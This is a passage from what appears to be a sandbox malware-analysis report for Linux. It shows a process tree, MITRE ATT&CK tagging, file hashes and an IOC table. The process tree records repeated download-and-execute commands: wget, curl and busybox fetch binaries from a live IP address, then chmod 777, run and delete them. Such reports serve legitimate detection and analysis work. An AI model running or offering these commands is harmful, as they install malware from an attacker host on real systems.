  /bin/busybox wget http://87.120.125.191/bins/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  2⤵
  PID:982
- /bin/chmod
  chmod 777 kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  2⤵
  - File and Directory Permissions Modification
  PID:983
- /tmp/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  ./kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  2⤵
  - Executes dropped EXE
  PID:984
- /bin/rm
  rm kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  2⤵
  PID:985
- /usr/bin/wget
  wget http://87.120.125.191/bins/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  2⤵
  PID:986
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:987
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  2⤵
  PID:988
- /bin/chmod
  chmod 777 LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  2⤵
  - File and Directory Permissions Modification
  PID:989
- /tmp/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  ./LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  2⤵
  - Executes dropped EXE
  PID:990
- /bin/rm
  rm LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  2⤵
  PID:991
- /usr/bin/wget
  wget http://87.120.125.191/bins/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  2⤵
  PID:992
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:993
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  2⤵
  PID:994
- /bin/chmod
  chmod 777 cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  2⤵
  - File and Directory Permissions Modification
  PID:995
- /tmp/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  ./cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  2⤵
  - Executes dropped EXE
  PID:996
- /bin/rm
  rm cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  2⤵
  PID:997
- /usr/bin/wget
  wget http://87.120.125.191/bins/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  2⤵
  PID:998
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:999
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  2⤵
  PID:1000
- /bin/chmod
  chmod 777 FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  2⤵
  - File and Directory Permissions Modification
  PID:1001
- /tmp/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  ./FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  2⤵
  - Executes dropped EXE
  PID:1002
- /bin/rm
  rm FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  2⤵
  PID:1003

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu

Path /tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu	761	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
/tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4	768	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
/tmp/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs	813	8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
/tmp/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN	825	4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
/tmp/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7	861	hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
/tmp/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW	867	kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
/tmp/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH	876	LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
/tmp/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa	882	cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
/tmp/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO	888	FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
/tmp/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj	894	fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
/tmp/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA	900	aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
/tmp/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9	906	CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
/tmp/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6	912	mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
/tmp/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm	918	mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
/tmp/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj	924	fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
/tmp/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA	930	aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
/tmp/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9	936	CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
/tmp/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6	942	mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
/tmp/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm	948	mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu	954	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
/tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4	960	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
/tmp/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs	966	8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
/tmp/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN	972	4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
/tmp/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7	978	hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
/tmp/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW	984	kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
/tmp/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH	990	LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
/tmp/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa	996	cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
/tmp/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO	1002	FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO